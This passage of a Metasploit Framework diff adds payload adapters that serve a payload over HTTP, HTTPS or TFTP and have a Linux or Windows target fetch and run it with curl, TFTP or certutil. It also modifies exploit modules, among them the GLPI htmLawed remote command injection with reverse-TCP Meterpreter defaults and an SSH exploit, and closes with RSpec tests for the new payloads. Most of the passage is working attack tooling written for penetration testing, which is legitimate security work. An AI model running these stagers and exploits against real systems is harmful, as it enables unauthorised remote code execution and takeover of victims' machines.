@fetch_service.server_name = srvname
add_resource(@fetch_service, escaped_srvuri, srvexe)
@fetch_service
end
def start_https_fetch_handler(srvname, srvexe)
# this looks a bit funny because I converted it to use an instance variable so that if we crash in the
# middle and don't return a value, we still have the right fetch_service to clean up.
escaped_srvuri = ('/' + srvuri).gsub('//', '/')
@fetch_service = start_https_server(true, ssl_cert, ssl_compression, ssl_cipher, ssl_version) if @fetch_service.nil?
if @fetch_service.nil?
cleanup_handler
fail_with(Msf::Exploit::Failure::BadConfig, "Fetch Handler failed to start on #{fetch_bindhost}:#{fetch_bindport}\n #{e}")
end
vprint_status('HTTPS server started')
@fetch_service.server_name = srvname
add_resource(@fetch_service, escaped_srvuri, srvexe)
@fetch_service
end
def start_https_server(ssl, ssl_cert, ssl_compression, ssl_cipher, ssl_version)
begin
fetch_service = Rex::ServiceManager.start(
Rex::Proto::Http::Server,
fetch_bindport, fetch_bindhost, ssl,
{
'Msf' => framework,
'MsfExploit' => self
},
_determine_server_comm(fetch_bindhost),
ssl_cert,
ssl_compression,
ssl_cipher,
ssl_version
)
rescue Exception => e
cleanup_handler
fail_with(Msf::Exploit::Failure::BadConfig, "Fetch Handler failed to start on #{fetch_bindhost}:#{fetch_bindport}\n #{e}")
end
vprint_status("Fetch Handler listening on #{fetch_bindhost}:#{fetch_bindport}")
fetch_service
end
end

View File

@ -0,0 +1,36 @@
module Msf::Payload::Adapter::Fetch::Server::TFTP
def start_tftp_server(srvport, srvhost)
vprint_status("Starting TFTP server on #{srvhost}:#{srvport}")
Rex::Proto::TFTP::Server.new(srvport, srvhost, {})
end
def initialize(*args)
super
register_options(
[
Msf::OptBool.new('FETCH_SRVONCE', [ true, 'Stop serving the payload after it is retrieved', true ])
]
)
end
def cleanup_tftp_fetch_service(fetch_service)
fetch_service.stop unless fetch_service.nil?
end
def fetch_protocol
'TFTP'
end
def start_tftp_fetch_handler(srvport, srvhost, srvuri, srvexe)
fetch_service = start_tftp_server(srvport, srvhost)
if fetch_service.nil?
cleanup_handler
fail_with(Msf::Exploit::Failure::BadConfig, "Fetch Handler failed to start on #{srvhost}:#{srvport}\n #{e}")
end
fetch_service.register_file(srvuri, srvexe, datastore['FETCH_SRVONCE'])
fetch_service.start
fetch_service
end
end

View File

@ -0,0 +1,22 @@
module Msf::Payload::Adapter::Fetch::TFTP
include Msf::Exploit::EXE
include Msf::Payload::Adapter
include Msf::Payload::Adapter::Fetch
include Msf::Payload::Adapter::Fetch::Server::TFTP
def initialize(*args)
super
end
def cleanup_handler
cleanup_tftp_fetch_service(@fetch_service)
super
end
def setup_handler
@fetch_service = start_tftp_fetch_handler(fetch_bindport, fetch_bindhost, srvuri, @srvexe) unless datastore['FetchHandlerDisable']
super
end
end

View File

@ -0,0 +1,13 @@
module Msf::Payload::Adapter::Fetch::WindowsOptions
def initialize(info = {})
super(update_info(info,
'DefaultOptions' => { 'FETCH_WRITABLE_DIR' => '%TEMP%' }
))
register_options(
[
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w{ CURL TFTP CERTUTIL }])
]
)
end
end

View File

@ -122,7 +122,7 @@ module Payload::Windows::ReverseHttp_x64
# Generate the URI for the initial stager
#
def generate_small_uri
generate_uri_uuid_mode(:init_native, 5)
generate_uri_uuid_mode(:init_native, 30)
end
#

View File

@ -30,18 +30,17 @@ class MetasploitModule < Msf::Exploit::Remote
],
'Platform' => 'linux',
'Arch' => [ARCH_X64, ARCH_CMD],
'CmdStagerFlavor' => [ 'printf' ],
'CmdStagerFlavor' => [ 'printf', 'wget' ],
'Targets' => [
[
'Unix Command',
'Nix Command',
{
'Platform' => 'unix',
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp',
'RPORT' => 80,
'URIPATH' => '/glpi/'
'RPORT' => 80
}
}
],
@ -52,12 +51,11 @@ class MetasploitModule < Msf::Exploit::Remote
'Arch' => [ARCH_X64],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'RPORT' => 80,
'URIPATH' => '/glpi/'
'RPORT' => 80
},
'Type' => :linux_dropper
}
],
]
],
'DisclosureDate' => '2022-01-26',
'DefaultTarget' => 0,
@ -68,10 +66,15 @@ class MetasploitModule < Msf::Exploit::Remote
}
)
)
register_options(
[
Msf::OptString.new('TARGET_URI', [ false, 'URI where glpi is hosted', '/glpi'])
]
)
end
def populate_values
uri = "#{datastore['URIPATH']}/vendor/htmlawed/htmlawed/htmLawedTest.php"
uri = "#{datastore['TARGET_URI']}/vendor/htmlawed/htmlawed/htmLawedTest.php"
begin
res = send_request_cgi({
'method' => 'GET',
@ -93,7 +96,7 @@ class MetasploitModule < Msf::Exploit::Remote
def execute_command(cmd, _opts = {})
populate_values if @sid.nil? || @token.nil?
uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'
uri = datastore['TARGET_URI'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'
send_request_cgi({
'method' => 'POST',

View File

@ -41,6 +41,13 @@ class MetasploitModule < Msf::Exploit::Remote
'CmdStagerFlavor' => %w[bourne echo printf wget],
'Targets' =>
[
[
'Linux Command',
{
'Arch' => ARCH_CMD,
'Platform' => 'linux'
}
],
[
'Linux x86',
{
@ -237,7 +244,11 @@ class MetasploitModule < Msf::Exploit::Remote
when 'unix'
execute_command(payload.encoded)
else
execute_cmdstager(linemax: 500)
if target['Arch'] == ARCH_CMD
execute_command(payload.encoded)
else
execute_cmdstager(linemax: 500)
end
end
@timeout ? ssh_socket.shutdown! : ssh_socket.close

View File

@ -0,0 +1,25 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
include Msf::Payload::Adapter::Fetch::HTTP
include Msf::Payload::Adapter::Fetch::LinuxOptions
def initialize(info = {})
super(
update_info(
info,
'Name' => 'HTTP Fetch',
'Description' => 'Fetch and Execute an x64 payload from an http server',
'Author' => 'Brendan Watters',
'Platform' => 'linux',
'Arch' => ARCH_CMD,
'License' => MSF_LICENSE,
'AdaptedArch' => ARCH_X64,
'AdaptedPlatform' => 'linux'
)
)
end
end

View File

@ -0,0 +1,25 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
include Msf::Payload::Adapter::Fetch::Https
include Msf::Payload::Adapter::Fetch::LinuxOptions
def initialize(info = {})
super(
update_info(
info,
'Name' => 'HTTPS Fetch',
'Description' => 'Fetch and Execute an x64 payload from an https server',
'Author' => 'Brendan Watters',
'Platform' => 'linux',
'Arch' => ARCH_CMD,
'License' => MSF_LICENSE,
'AdaptedArch' => ARCH_X64,
'AdaptedPlatform' => 'linux'
)
)
end
end

View File

@ -0,0 +1,25 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
include Msf::Payload::Adapter::Fetch::TFTP
include Msf::Payload::Adapter::Fetch::LinuxOptions
def initialize(info = {})
super(
update_info(
info,
'Name' => 'TFTP Fetch',
'Description' => 'Fetch and Execute an x64 payload from a TFTP server',
'Author' => 'Brendan Watters',
'Platform' => 'linux',
'Arch' => ARCH_CMD,
'License' => MSF_LICENSE,
'AdaptedArch' => ARCH_X64,
'AdaptedPlatform' => 'linux'
)
)
end
end

View File

@ -0,0 +1,25 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
include Msf::Payload::Adapter::Fetch::HTTP
include Msf::Payload::Adapter::Fetch::WindowsOptions
def initialize(info = {})
super(
update_info(
info,
'Name' => 'HTTP Fetch',
'Description' => 'Fetch and Execute an x64 payload from an http server',
'Author' => 'Brendan Watters',
'Platform' => 'win',
'Arch' => ARCH_CMD,
'License' => MSF_LICENSE,
'AdaptedArch' => ARCH_X64,
'AdaptedPlatform' => 'win'
)
)
end
end

View File

@ -0,0 +1,25 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
include Msf::Payload::Adapter::Fetch::Https
include Msf::Payload::Adapter::Fetch::WindowsOptions
def initialize(info = {})
super(
update_info(
info,
'Name' => 'HTTPS Fetch',
'Description' => 'Fetch and Execute an x64 payload from an https server',
'Author' => 'Brendan Watters',
'Platform' => 'win',
'Arch' => ARCH_CMD,
'License' => MSF_LICENSE,
'AdaptedArch' => ARCH_X64,
'AdaptedPlatform' => 'win'
)
)
end
end

View File

@ -0,0 +1,25 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
include Msf::Payload::Adapter::Fetch::TFTP
include Msf::Payload::Adapter::Fetch::WindowsOptions
def initialize(info = {})
super(
update_info(
info,
'Name' => 'TFTP Fetch',
'Description' => 'Fetch and Execute an x64 payload from a tftp server',
'Author' => 'Brendan Watters',
'Platform' => 'win',
'Arch' => ARCH_CMD,
'License' => MSF_LICENSE,
'AdaptedArch' => ARCH_X64,
'AdaptedPlatform' => 'win'
)
)
end
end

View File

@ -508,6 +508,30 @@ RSpec.describe 'modules/payloads', :content do
reference_name: 'bsdi/x86/shell_reverse_tcp'
end
context 'cmd/linux/http/x64' do
it_should_behave_like 'payload is not cached',
ancestor_reference_names: [
'adapters/cmd/linux/http/x64'
],
reference_name: 'cmd/linux/http/x64'
end
context 'cmd/linux/https/x64' do
it_should_behave_like 'payload is not cached',
ancestor_reference_names: [
'adapters/cmd/linux/https/x64'
],
reference_name: 'cmd/linux/https/x64'
end
context 'cmd/linux/tftp/x64' do
it_should_behave_like 'payload is not cached',
ancestor_reference_names: [
'adapters/cmd/linux/tftp/x64'
],
reference_name: 'cmd/linux/tftp/x64'
end
context 'cmd/mainframe/generic_jcl' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
@ -1116,6 +1140,22 @@ RSpec.describe 'modules/payloads', :content do
reference_name: 'cmd/windows/generic'
end
context 'cmd/windows/http/x64' do
it_should_behave_like 'payload is not cached',
ancestor_reference_names: [
'adapters/cmd/windows/http/x64'
],
reference_name: 'cmd/windows/http/x64'
end
context 'cmd/windows/https/x64' do
it_should_behave_like 'payload is not cached',
ancestor_reference_names: [
'adapters/cmd/windows/https/x64'
],
reference_name: 'cmd/windows/https/x64'
end
context 'cmd/windows/powershell' do
it_should_behave_like 'payload is not cached',
ancestor_reference_names: [
@ -1212,6 +1252,14 @@ RSpec.describe 'modules/payloads', :content do
reference_name: 'cmd/windows/jjs_reverse_tcp'
end
context 'cmd/windows/tftp/x64' do
it_should_behave_like 'payload is not cached',
ancestor_reference_names: [
'adapters/cmd/windows/tftp/x64'
],
reference_name: 'cmd/windows/tftp/x64'
end
context 'firefox/exec' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [